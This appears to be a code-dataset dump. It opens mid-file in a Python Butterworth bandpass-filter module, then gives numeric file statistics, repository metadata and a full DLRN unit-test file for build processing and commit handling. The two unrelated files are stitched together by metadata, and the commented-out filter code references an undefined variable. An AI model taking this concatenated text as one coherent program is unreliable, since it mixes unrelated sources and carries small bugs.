fast_fourier_transform( tmp_y, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Filtered') plt.xlim([lower_xlim, highcut+20]) plt.ylim([0, 2]) plt.legend() plt.xlabel('Frequency (Hz)') plt.show() print('Input: Signal shape', signal.shape) print('Output: Signal shape', y.shape) return y def butter_bandpass_filter_signal_1d(signal, lowcut, highcut, sampling_rate, order=4, verbose=False): r""" Digital filter bandpass zero-phase implementation (filtfilt) Apply a digital filter forward and backward to a signal Args: signal : ndarray, shape (time,) Single input signal in time domain lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter verbose : boolean, default: False Print and plot details Returns: y : ndarray Filter signal """ b, a = _butter_bandpass(lowcut, highcut, sampling_rate, order) y = filtfilt(b, a, signal) if verbose: w, h = freqz(b, a) plt.plot((sampling_rate * 0.5 / np.pi) * w, abs(h), label="order = %d" % order) plt.plot([0, 0.5 * sampling_rate], [np.sqrt(0.5), np.sqrt(0.5)], '--', label='sqrt(0.5)') plt.xlabel('Frequency (Hz)') plt.ylabel('Gain') plt.grid(True) plt.legend(loc='best') low = max(0, lowcut-(sampling_rate/100)) high = highcut+(sampling_rate/100) plt.xlim([low, high]) plt.ylim([0, 1.2]) plt.title('Frequency response of filter - lowcut:' + str(lowcut)+', highcut:'+str(highcut)) plt.show() # TIME plt.plot(signal, label='Signal') plt.title('Signal') plt.show() plt.plot(y, label='Filtered') plt.title('Bandpass filtered') plt.show() # FREQ lower_xlim = lowcut-10 if (lowcut-10) > 0 else 0 fast_fourier_transform( signal, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Signal') fast_fourier_transform( y, sampling_rate, plot=True, plot_xlim=[lower_xlim, highcut+20], plot_label='Filtered') plt.xlim([lower_xlim, highcut+20]) plt.ylim([0, 2]) plt.legend() plt.xlabel('Frequency (Hz)') plt.show() print('Input: Signal shape', signal.shape) print('Output: Signal shape', y.shape) return y def _butter_bandpass(lowcut, highcut, sampling_rate, order=4, output='ba'): r""" Create a Butterworth bandpass filter Design an Nth-order digital or analog Butterworth filter and return the filter coefficients. Args: lowcut : int Lower bound filter highcut : int Upper bound filter sampling_rate : int Sampling frequency order : int, default: 4 Order of the filter output : string, default: ba Type of output {‘ba’, ‘zpk’, ‘sos’} Returns: butter : ndarray Butterworth filter Dependencies: butter : scipy.signal.butter """ nyq = sampling_rate * 0.5 low = lowcut / nyq high = highcut / nyq return butter(order, [low, high], btype='bandpass', output=output) #### ver 1 # def butter_bandpass(signal, lowcut, highcut, sampling_rate, type="sos", order=4, plot=False, **kwargs): # r""" # Design a `order`th-order bandpass Butterworth filter with a cutoff frequency between `lowcut`-Hz and `highcut`-Hz, which, for data sampled at `sampling_rate`-Hz. # Reference: https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.butter.html # https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.filtfilt.html # https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.sosfiltfilt.html # Args: # signal : ndarray, shape (time,) or (channel,time) or (trial,channel,time) # Input signal (1D/2D/3D), where last axis is time samples. # lowcut : int # Lower bound filter # highcut : int # Upper bound filter # sampling_rate : int # Sampling frequency # type: string, optional, default: sos # Type of output: numerator/denominator (‘ba’), or second-order sections (‘sos’). # Default is ‘ba’ for backwards compatibility, but ‘sos’ should be used for general-purpose filtering. # order : int, optional, default: 4 # Order of the filter # plot : boolean, optional, default: False # Plot signal and filtered signal in frequency domain # plot_xlim : array of shape [lower, upper], optional, default: [lowcut-10 if (lowcut-10) > 0 else 0, highcut+20] # If `plot=True`, set a limit on the X-axis between lower and upper bound # plot_ylim : array of shape [lower, upper], optional, default: None # If `plot=True`, set a limit on the Y-axis between lower and upper bound # Returns: # y : ndarray # Filtered signal that has same shape in input `signal` # Usage: # >>> from splearn.data.generate import generate_signal # >>> # >>> signal_1d = generate_signal( # >>> length_seconds=4, # >>> sampling_rate=100, # >>> frequencies=[4,7,11,17,40, 50], # >>> plot=True # >>> ) # >>> print('signal_1d.shape', signal_1d.shape) # >>> # >>> signal_2d = generate_signal( # >>> length_seconds=4, # >>> sampling_rate=100, # >>> frequencies=[[4,7,11,17,40, 50],[1, 3]], # >>> plot=True # >>> ) # >>> print('signal_2d.shape', signal_2d.shape) # >>> # >>> signal_3d = np.expand_dims(s1, 0) # >>> print('signal_3d.shape', signal_3d.shape) # >>> # >>> signal_1d_filtered = butter_bandpass( # >>> signal=signal_1d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> plot=True, # >>> ) # >>> print('signal_1d_filtered.shape', signal_1d_filtered.shape) # >>> # >>> signal_2d_filtered = butter_bandpass( # >>> signal=signal_2d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> type='sos', # >>> order=4, # >>> plot=True, # >>> plot_xlim=[3,20] # >>> ) # >>> print('signal_2d_filtered.shape', signal_2d_filtered.shape) # >>> # >>> signal_3d_filtered = butter_bandpass( # >>> signal=signal_3d, # >>> lowcut=5, # >>> highcut=20, # >>> sampling_rate=100, # >>> type='ba', # >>> order=4, # >>> plot=True, # >>> plot_xlim=[0,40] # >>> ) # >>> print('signal_3d_filtered.shape', signal_3d_filtered.shape) # """ # dim = len(signal.shape)-1 # if type == 'ba': # b, a = _butter_bandpass(lowcut, highcut, sampling_rate, order) # y = filtfilt(b, a, signal) # else: # sos = _butter_bandpass(lowcut, highcut, sampling_rate, # order=order, output='sos') # y = sosfiltfilt(sos, signal, axis=dim) # if plot: # tmp_x = signal # tmp_y = y # if dim == 1: # tmp_x = signal[0] # tmp_y = y[0] # elif dim == 2: # tmp_x = signal[0, 0] # tmp_y = y[0, 0] # if type == 'ba': # # plot frequency response of filter # w, h = freqz(b, a) # plt.plot((sampling_rate * 0.5 / np.pi) * w, # abs(h), label="order = %d" % order) # plt.plot([0, 0.5 * sampling_rate], [np.sqrt(0.5), np.sqrt(0.5)], # '--', label='sqrt(0.5)') # plt.xlabel('Frequency (Hz)') # plt.ylabel('Gain') # plt.grid(True) # plt.legend(loc='best') # low = max(0, lowcut-(sampling_rate/100)) # high = highcut+(sampling_rate/100) # plt.xlim([low, high]) # plt.ylim([0, 1.2]) # plt.title('Frequency response of filter - lowcut:' + # str(lowcut)+', highcut:'+str(highcut)) # plt.show() # plot_xlim = kwargs['plot_xlim'] if 'plot_xlim' in kwargs else [lowcut-10 if (lowcut-10) > 0 else 0, highcut+20] # plot_ylim = kwargs['plot_ylim'] if 'plot_ylim' in kwargs else None # # frequency domain # fast_fourier_transform( # tmp_x, # sampling_rate, # plot=True, # plot_xlim=plot_xlim, # plot_ylim=plot_ylim, # plot_label='Signal' # ) # fast_fourier_transform( # tmp_y, # sampling_rate, # plot=True, # plot_xlim=plot_xlim, # plot_ylim=plot_ylim, # plot_label='Filtered' # ) # plt.title('Signal and filtered signal in frequency domain, type:' + type + ',lowcut:' + str(lowcut) + ',highcut:' + str(highcut) + ',order:' + str(order)) # plt.legend() # plt.show() # return y # def _butter_bandpass(lowcut, highcut, sampling_rate, order=4, output='ba'): # r""" # Create a Butterworth bandpass filter. Design an Nth-order digital or analog Butterworth filter and return the filter coefficients. # Reference: https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.butter.html # Args: # lowcut : int # Lower bound filter # highcut : int # Upper bound filter # sampling_rate : int # Sampling frequency # order : int, default: 4 # Order of the filter # output : string, default: ba # Type of output {‘ba’, ‘zpk’, ‘sos’}. Type of output: numerator/denominator (‘ba’), pole-zero (‘zpk’), or second-order sections (‘sos’). # Default is ‘ba’ for backwards compatibility, but ‘sos’ should be used for general-purpose filtering. # Returns: # butter : ndarray # Scipy butterworth filter # Dependencies: # butter : scipy.signal.butter # """ # nyq = sampling_rate * 0.5 # low = lowcut / nyq # high = highcut / nyq # return butter(order, [low, high], btype='bandpass', output=output) # if __name__ == "__main__": # from splearn.data.generate import signal # signal_1d = generate_signal( # length_seconds=4, # sampling_rate=100, # frequencies=[4,7,11,17,40, 50], # plot=True # ) # print('signal_1d.shape', signal_1d.shape) # signal_2d = generate_signal( # length_seconds=4, # sampling_rate=100, # frequencies=[[4,7,11,17,40, 50],[1, 3]], # plot=True # ) # print('signal_2d.shape', signal_2d.shape) # signal_3d = np.expand_dims(s1, 0) # print('signal_3d.shape', signal_3d.shape) # signal_1d_filtered = butter_bandpass( # signal=signal_1d, # lowcut=5, # highcut=20, # sampling_rate=100, # plot=True, # ) # print('signal_1d_filtered.shape', signal_1d_filtered.shape) # signal_2d_filtered = butter_bandpass( # signal=signal_2d, # lowcut=5, # highcut=20, # sampling_rate=100, # type='sos', # order=4, # plot=True, # plot_xlim=[3,20] # ) # print('signal_2d_filtered.shape', signal_2d_filtered.shape) # signal_3d_filtered = butter_bandpass( # signal=signal_3d, # lowcut=5, # highcut=20, # sampling_rate=100, # type='ba', # order=4, # plot=True, # plot_xlim=[0,40] # ) # print('signal_3d_filtered.shape', signal_3d_filtered.shape)
34.331683
167
0.550036
1,621
13,870
4.576188
0.119679
0.066325
0.02831
0.021569
0.854004
0.817336
0.801968
0.771637
0.765166
0.765166
0
0.029574
0.322278
13,870
403
168
34.416873
0.759574
0.724081
0
0.405405
0
0
0.086398
0
0
0
0
0
0
1
0.040541
false
0.094595
0.054054
0
0.135135
0.054054
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
7
61fff0ecb2fdd92b879414f0c28b42014f880c4d
27,772
py
Python
dlrn/tests/test_shell.py
softwarefactory-project/DLRN
e2d9e23452f0473330cfcfd2f3d29d6b99fe712d
[ "Apache-2.0" ]
9
2017-05-11T23:54:42.000Z
2022-02-23T20:22:08.000Z
dlrn/tests/test_shell.py
softwarefactory-project/DLRN
e2d9e23452f0473330cfcfd2f3d29d6b99fe712d
[ "Apache-2.0" ]
18
2017-06-02T11:02:20.000Z
2022-03-25T14:34:30.000Z
dlrn/tests/test_shell.py
softwarefactory-project/DLRN
e2d9e23452f0473330cfcfd2f3d29d6b99fe712d
[ "Apache-2.0" ]
7
2017-06-01T15:54:24.000Z
2022-02-23T20:22:09.000Z
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import argparse import mock import os import sh import shutil import sys import tempfile from dlrn.config import ConfigOptions from dlrn import db from dlrn.drivers.rdoinfo import RdoInfoDriver from dlrn import shell from dlrn.tests import base from dlrn import utils from six.moves import configparser def mocked_session(url): session = db.getSession(url) utils.loadYAML(session, './dlrn/tests/samples/commits_1.yaml') return session def mocked_session_recheck(url): db_fd, filepath = tempfile.mkstemp() session = db.getSession("sqlite:///%s" % filepath) utils.loadYAML(session, './dlrn/tests/samples/commits_1.yaml') return session def mocked_getpackages(**kwargs): return [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com'}, {'upstream': 'https://github.com/openstack/test', 'name': 'test', 'maintainers': 'test@test.com'}, {'upstream': 'https://github.com/openstack/test', 'name': 'python-pysaml2', 'maintainers': 'test@test.com'}] def _mocked_refreshrepo(*args, **kwargs): return 'a', 'b', 'c' def _mocked_git_log(*args, **kwargs): return ['1605006232 d2ddfd9c5d7bfea3055ec5d51b4cb11ad12a02f3', '1605167482 c7eec96aa361dc52458b9633d781964a6db24e86', '1605774411 896f7544a70028ff5db1d5a2d0f3619b62218dd6'] class TestProcessBuildResult(base.TestCase): def setUp(self): super(TestProcessBuildResult, self).setUp() config = configparser.RawConfigParser() config.read("projects.ini") config.set('DEFAULT', 'datadir', tempfile.mkdtemp()) config.set('DEFAULT', 'scriptsdir', tempfile.mkdtemp()) config.set('DEFAULT', 'baseurl', "file://%s" % config.get('DEFAULT', 'datadir')) self.config = ConfigOptions(config) self.commit = db.Commit(dt_commit=123, project_name='foo', type="rpm", commit_hash='1c67b1ab8c6fe273d4e175a14f0df5' 'd3cbbd0edf', repo_dir='/home/dlrn/data/foo', distro_hash='c31d1b18eb5ab5aed6721fc4fad06c9' 'bd242490f', dt_distro=123, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441245153) self.db_fd, filepath = tempfile.mkstemp() self.session = mocked_session("sqlite:///%s" % filepath) self.packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com'}, {'upstream': 'https://github.com/openstack/test', 'name': 'test', 'maintainers': 'test@test.com'}] def tearDown(self): super(TestProcessBuildResult, self).tearDown() shutil.rmtree(self.config.datadir) shutil.rmtree(self.config.scriptsdir) os.close(self.db_fd) @mock.patch('os.rename') @mock.patch('os.symlink') @mock.patch('dlrn.shell.export_commit_yaml') @mock.patch('dlrn.shell.genreports') @mock.patch('dlrn.shell.sync_repo') def test_successful_build(self, rs_mock, gr_mock, ec_mock, sl_mock, rn_mock): built_rpms = ['foo-1.2.3.rpm'] status = [self.commit, built_rpms, 'OK', None] output = shell.process_build_result(status, self.packages, self.session, []) self.assertEqual(output, 0) self.assertEqual(gr_mock.call_count, 1) self.assertEqual(rs_mock.call_count, 1) self.assertEqual(ec_mock.call_count, 1) self.assertEqual(sl_mock.call_count, 1) self.assertEqual(rn_mock.call_count, 1) @mock.patch('dlrn.shell.export_commit_yaml') @mock.patch('dlrn.shell.sendnotifymail') @mock.patch('dlrn.shell.genreports') @mock.patch('dlrn.shell.sync_repo') def test_failed_build(self, rs_mock, gr_mock, sm_mock, ec_mock): error_msg = 'Unit test error' status = [self.commit, '', '', error_msg] output = shell.process_build_result(status, self.packages, self.session, []) self.assertEqual(output, 1) self.assertEqual(gr_mock.call_count, 1) self.assertEqual(rs_mock.call_count, 1) self.assertEqual(sm_mock.call_count, 1) self.assertEqual(ec_mock.call_count, 1) @mock.patch('dlrn.shell.submit_review') @mock.patch('dlrn.shell.sendnotifymail') @mock.patch('dlrn.shell.genreports') @mock.patch('dlrn.shell.sync_repo') def test_failed_build_gerrit(self, rs_mock, gr_mock, sm_mock, sr_mock): self.config.gerrit = 'yes' error_msg = 'Unit test error' status = [self.commit, '', '', error_msg] output = shell.process_build_result(status, self.packages, self.session, []) self.assertEqual(output, 1) self.assertEqual(gr_mock.call_count, 1) self.assertEqual(rs_mock.call_count, 1) self.assertEqual(sm_mock.call_count, 1) self.assertEqual(sr_mock.call_count, 1) @mock.patch('os.rename') @mock.patch('os.symlink') @mock.patch('dlrn.shell.export_commit_yaml') @mock.patch('dlrn.shell.genreports') @mock.patch('dlrn.shell.sync_repo') def test_successful_build_component(self, rs_mock, gr_mock, ec_mock, sl_mock, rn_mock): built_rpms = ['foo-1.2.3.rpm'] self.config.use_components = True self.commit.component = 'foo' status = [self.commit, built_rpms, 'OK', None] output = shell.process_build_result(status, self.packages, self.session, []) self.assertEqual(output, 0) self.assertEqual(gr_mock.call_count, 1) self.assertEqual(rs_mock.call_count, 1) self.assertEqual(ec_mock.call_count, 1) # 3 additional symlinks due to the current/ directory self.assertEqual(sl_mock.call_count, 4) self.assertEqual(rn_mock.call_count, 4) @mock.patch('sh.createrepo_c', create=True) class TestPostBuild(base.TestCase): def setUp(self): super(TestPostBuild, self).setUp() config = configparser.RawConfigParser() config.read("projects.ini") config.set('DEFAULT', 'datadir', tempfile.mkdtemp()) config.set('DEFAULT', 'scriptsdir', tempfile.mkdtemp()) config.set('DEFAULT', 'baseurl', "file://%s" % config.get('DEFAULT', 'datadir')) self.config = ConfigOptions(config) self.commit = db.Commit(dt_commit=123, project_name='foo', type="rpm", commit_hash='1c67b1ab8c6fe273d4e175a14f0df5' 'd3cbbd0edf', repo_dir='/home/dlrn/data/foo', distro_hash='c31d1b18eb5ab5aed6721fc4fad06c9' 'bd242490f', dt_distro=123, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441245153) self.db_fd, filepath = tempfile.mkstemp() self.session = mocked_session("sqlite:///%s" % filepath) self.packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/foo-distgit.git'}, {'upstream': 'https://github.com/openstack/test', 'name': 'test', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/test-distgit.git'}] def tearDown(self): super(TestPostBuild, self).tearDown() shutil.rmtree(self.config.datadir) shutil.rmtree(self.config.scriptsdir) os.close(self.db_fd) def test_successful_build(self, sh_mock): built_rpms = ['repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.noarch.rpm', 'repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.src.rpm'] status = [self.commit, built_rpms, 'OK', None] # Create directory for the CSV file yumdir = os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir()) os.makedirs(yumdir) output = shell.post_build(status, self.packages, self.session) self.assertTrue(os.path.exists( os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir(), "versions.csv"))) expected = [mock.call(yumdir)] self.assertEqual(sh_mock.call_args_list, expected) self.assertEqual(output, 1) # 1 non-successfully built package def test_successful_build_no_failures(self, sh_mock): packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/foo-distgit.git'}] built_rpms = ['repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.noarch.rpm', 'repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.src.rpm'] status = [self.commit, built_rpms, 'OK', None] # Create directory for the CSV file yumdir = os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir()) os.makedirs(yumdir) output = shell.post_build(status, packages, self.session) expected = [mock.call(yumdir)] self.assertEqual(sh_mock.call_args_list, expected) self.assertEqual(output, 0) def test_successful_build_no_failures_component(self, sh_mock): packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/foo-distgit.git'}] built_rpms = ['repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.noarch.rpm', 'repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.src.rpm'] self.config.use_components = True self.commit.component = 'testcomponent' status = [self.commit, built_rpms, 'OK', None] # Create directory for the CSV file yumdir = os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir()) os.makedirs(yumdir) output = shell.post_build(status, packages, self.session) expected = [mock.call(yumdir)] self.assertEqual(sh_mock.call_args_list, expected) self.assertEqual(output, 0) with open(os.path.join(yumdir, 'delorean.repo')) as fp: repofile = fp.read() assert 'component-testcomponent' in repofile def test_successful_build_no_failures_nosrcrpm(self, sh_mock): packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/foo-distgit.git'}] built_rpms = ['repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.noarch.rpm', 'repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.src.rpm'] self.config.include_srpm_in_repo = False status = [self.commit, built_rpms, 'OK', None] # Create directory for the CSV file yumdir = os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir()) os.makedirs(yumdir) output = shell.post_build(status, packages, self.session) expected = [mock.call('-x', '*.src.rpm', yumdir)] self.assertEqual(sh_mock.call_args_list, expected) self.assertEqual(output, 0) def test_successful_build_no_repo(self, sh_mock): packages = [{'upstream': 'https://github.com/openstack/foo', 'name': 'foo', 'maintainers': 'test@test.com', 'master-distgit': 'https://github.com/rdo-packages/foo-distgit.git'}] built_rpms = ['repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.noarch.rpm', 'repos/1c/67/1c67b1ab8c6fe273d4e175a14f0df5d3cbbd0edf' '_c31d1b18/foo-1.2.3.el7.centos.src.rpm'] status = [self.commit, built_rpms, 'OK', None] # Create directory for the CSV file yumdir = os.path.join(self.config.datadir, "repos", self.commit.getshardedcommitdir()) os.makedirs(yumdir) output = shell.post_build(status, packages, self.session, build_repo=False) # There will be no createrepo call expected = [] self.assertEqual(sh_mock.call_args_list, expected) self.assertEqual(output, 0) class TestRecheck(base.TestCase): def setUp(self): super(TestRecheck, self).setUp() def tearDown(self): super(TestRecheck, self).tearDown() @mock.patch('dlrn.shell.getSession', side_effect=mocked_session_recheck) @mock.patch('dlrn.drivers.rdoinfo.RdoInfoDriver.getpackages', side_effect=mocked_getpackages) def test_basic_recheck(self, gp_mock, db_mock): testargs = ['dlrn', '--package-name', 'python-pysaml2', '--recheck'] with mock.patch.object(sys, 'argv', testargs): e = self.assertRaises(SystemExit, shell.main) # Rechecking python-pysaml2 should fail because the last commit # was successfully built self.assertEqual(e.code, 1) @mock.patch('dlrn.shell.getSession', side_effect=mocked_session_recheck) @mock.patch('dlrn.drivers.rdoinfo.RdoInfoDriver.getpackages', side_effect=mocked_getpackages) def test_force_recheck_withoutprojectsini(self, gp_mock, db_mock): testargs = ['dlrn', '--package-name', 'python-pysaml2', '--recheck', '--force-recheck'] with mock.patch.object(sys, 'argv', testargs): e = self.assertRaises(SystemExit, shell.main) # Rechecking python-pysaml2 should fail because the last commit # was successfully built self.assertEqual(e.code, 1) @mock.patch('dlrn.shell.getSession', side_effect=mocked_session_recheck) @mock.patch('dlrn.drivers.rdoinfo.RdoInfoDriver.getpackages', side_effect=mocked_getpackages) def test_force_recheck_withprojectsini(self, gp_mock, db_mock): testargs = ['dlrn', '--package-name', 'python-pysaml2', '--recheck', '--force-recheck', '--config-file', './dlrn/tests/samples/projects_force.ini'] with mock.patch.object(sys, 'argv', testargs): e = self.assertRaises(SystemExit, shell.main) # It will work this time self.assertEqual(e.code, 0) @mock.patch('dlrn.shell.getSession', side_effect=mocked_session_recheck) class TestGetinfo(base.TestCase): def setUp(self): super(TestGetinfo, self).setUp() config = configparser.RawConfigParser() config.read("projects.ini") config.set("DEFAULT", "pkginfo_driver", "dlrn.drivers.rdoinfo.RdoInfoDriver") self.config = ConfigOptions(config) @mock.patch.object(sh.Command, '__call__', autospec=True, side_effect=_mocked_git_log) @mock.patch('dlrn.drivers.rdoinfo.refreshrepo', side_effect=_mocked_refreshrepo) def test_getinfo_basic(self, rr_mock, git_mock, db_mock): driver = RdoInfoDriver(cfg_options=self.config) package = { 'name': 'openstack-nova', 'project': 'nova', 'conf': 'rpmfactory-core', 'upstream': 'git://git.openstack.org/openstack/nova', 'patches': 'http://review.rdoproject.org/r/openstack/nova.git', 'distgit': 'git://git.example.com/rpms/nova', 'master-distgit': 'git://git.example.com/rpms/nova', 'name': 'openstack-nova', 'buildsys-tags': [ 'cloud7-openstack-pike-release: openstack-nova-16.1.4-1.el7', 'cloud7-openstack-pike-testing: openstack-nova-16.1.4-1.el7', 'cloud7-openstack-queens-release: openstack-nova-17.0.5-1.el7', 'cloud7-openstack-queens-testing: openstack-nova-17.0.5-1.el7', ] } project_toprocess, _, skipped = shell.getinfo(package, pkginfo=driver) # There is no commit in the database, so only 1 commit will be # returned self.assertEqual(len(project_toprocess), 1) self.assertEqual(skipped, False) @mock.patch('dlrn.drivers.rdoinfo.refreshrepo', side_effect=Exception('Failed to clone git repository')) def test_getinfo_failure(self, rr_mock, db_mock): driver = RdoInfoDriver(cfg_options=self.config) package = { 'name': 'openstack-nova', 'project': 'nova', 'conf': 'rpmfactory-core', 'upstream': 'git://git.openstack.org/openstack/nova', 'patches': 'http://review.rdoproject.org/r/openstack/nova.git', 'distgit': 'git://git.example.com/rpms/nova', 'master-distgit': 'git://git.example.com/rpms/nova', 'name': 'openstack-nova', 'buildsys-tags': [ 'cloud7-openstack-pike-release: openstack-nova-16.1.4-1.el7', 'cloud7-openstack-pike-testing: openstack-nova-16.1.4-1.el7', 'cloud7-openstack-queens-release: openstack-nova-17.0.5-1.el7', 'cloud7-openstack-queens-testing: openstack-nova-17.0.5-1.el7', ] } project_toprocess, _, skipped = shell.getinfo(package, pkginfo=driver) self.assertEqual(len(project_toprocess), 0) self.assertEqual(skipped, True) class TestAddCommits(base.TestCase): def setUp(self): super(TestAddCommits, self).setUp() self.db_fd, filepath = tempfile.mkstemp() self.session = mocked_session("sqlite:///%s" % filepath) # Create a simple, empty list of options parser = argparse.ArgumentParser() parser.add_argument('--dev', action="store_true") parser.add_argument('--run', action="store_true") self.options = parser.parse_args([]) self.toprocess = [] def tearDown(self): super(TestAddCommits, self).tearDown() os.close(self.db_fd) def test_simple_add_commit(self): commit = db.Commit(dt_commit=123, project_name='foo', type="rpm", commit_hash='1c67b1ab8c6fe273d4e175a14f0df5' 'd3cbbd0edf', repo_dir='/home/dlrn/data/foo', distro_hash='c31d1b18eb5ab5aed6721fc4fad06c9' 'bd242490f', dt_distro=123, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441245153) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 1) def test_simple_add_several_commits(self): commit1 = db.Commit(dt_commit=123, project_name='foo', type="rpm", commit_hash='1c67b1ab8c6fe273d4e175a14f0df5' 'd3cbbd0edf', repo_dir='/home/dlrn/data/foo', distro_hash='c31d1b18eb5ab5aed6721fc4fad06c9' 'bd242490f', dt_distro=123, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441245153) commit2 = db.Commit(dt_commit=456, project_name='bar', type="rpm", commit_hash='1c67b1ab8c6fe273465175a14f0df5' 'd3cbbd0123', repo_dir='/home/dlrn/data/bar', distro_hash='c31d1b18eb5ab5aed6721fc4fad06c9' 'bd2424e00', dt_distro=456, distgit_dir='/home/dlrn/data/bar_distro', commit_branch='master', dt_build=1441245154) shell._add_commits([commit1, commit2], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 2) def test_commit_already_processed(self): commit = db.Commit(dt_commit=1441634092, project_name='python-pysaml2', type="rpm", commit_hash='17234e9ab9dfab4cf5600f67f1d24db5064f10' '25', repo_dir='/home/dlrn/data/foo', distro_hash='024e24f0cf4366c2290c22f24e42de714d1add' 'd1', dt_distro=1431949433, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441635099) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 0) def test_commit_already_processed_dev_mode(self): self.options.dev = True commit = db.Commit(dt_commit=1441634092, project_name='python-pysaml2', type="rpm", commit_hash='17234e9ab9dfab4cf5600f67f1d24db5064f10' '25', repo_dir='/home/dlrn/data/foo', distro_hash='024e24f0cf4366c2290c22f24e42de714d1add' 'd1', dt_distro=1431949433, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441635099) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 1) def test_commit_already_processed_run_mode(self): self.options.run = True commit = db.Commit(dt_commit=1441634092, project_name='python-pysaml2', type="rpm", commit_hash='17234e9ab9dfab4cf5600f67f1d24db5064f10' '25', repo_dir='/home/dlrn/data/foo', distro_hash='024e24f0cf4366c2290c22f24e42de714d1add' 'd1', dt_distro=1431949433, distgit_dir='/home/dlrn/data/foo_distro', commit_branch='master', dt_build=1441635099) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 1) def test_commit_retry(self): commit = db.Commit(dt_commit=1444203303, project_name='python-tripleoclient', type="rpm", commit_hash='7ac2745f11522d46b8fed8c015922b93f68a64' '88', repo_dir='/home/centos-master/data/tripleoclient', distro_hash='0b1ce934e5b2e7d45a448f6555d24036f9aeca' '51', dt_distro=1442515488, distgit_dir='/home/centos-master/data/python-triple' 'oclient-distgit', commit_branch='master', dt_build=1444215994) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 1) def test_commit_different_commit_but_same_timestamp(self): commit = db.Commit(dt_commit=1444033792, project_name='python-tripleoclient', type="rpm", commit_hash='1234567890abcdef1234567890abcdef123456' '78', repo_dir='/home/centos-master/data/tripleoclient', distro_hash='0b1ce934e5b2e7d45a448f6555d24036f9aeca' '51', dt_distro=1442515488, distgit_dir='/home/centos-master/data/python-triple' 'oclient-distgit', commit_branch='master', dt_build=1444215995) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 0) def test_commit_same_timestamp_newer_distgit(self): commit = db.Commit(dt_commit=1444033792, project_name='python-tripleoclient', type="rpm", commit_hash='1234567890abcdef1234567890abcdef123456' '78', repo_dir='/home/centos-master/data/tripleoclient', distro_hash='0b1ce934e5b2e7d45a448f6555d24036f9aeca' 'ff', dt_distro=1442515500, distgit_dir='/home/centos-master/data/python-triple' 'oclient-distgit', commit_branch='master', dt_build=1444215995) shell._add_commits([commit], self.toprocess, self.options, self.session) self.assertEqual(len(self.toprocess), 1)
47.882759
79
0.567478
2,780
27,772
5.522302
0.133094
0.045922
0.019476
0.021105
0.812989
0.799049
0.768499
0.763744
0.752345
0.747004
0
0.068947
0.316902
27,772
579
80
47.965458
0.740288
0.04004
0
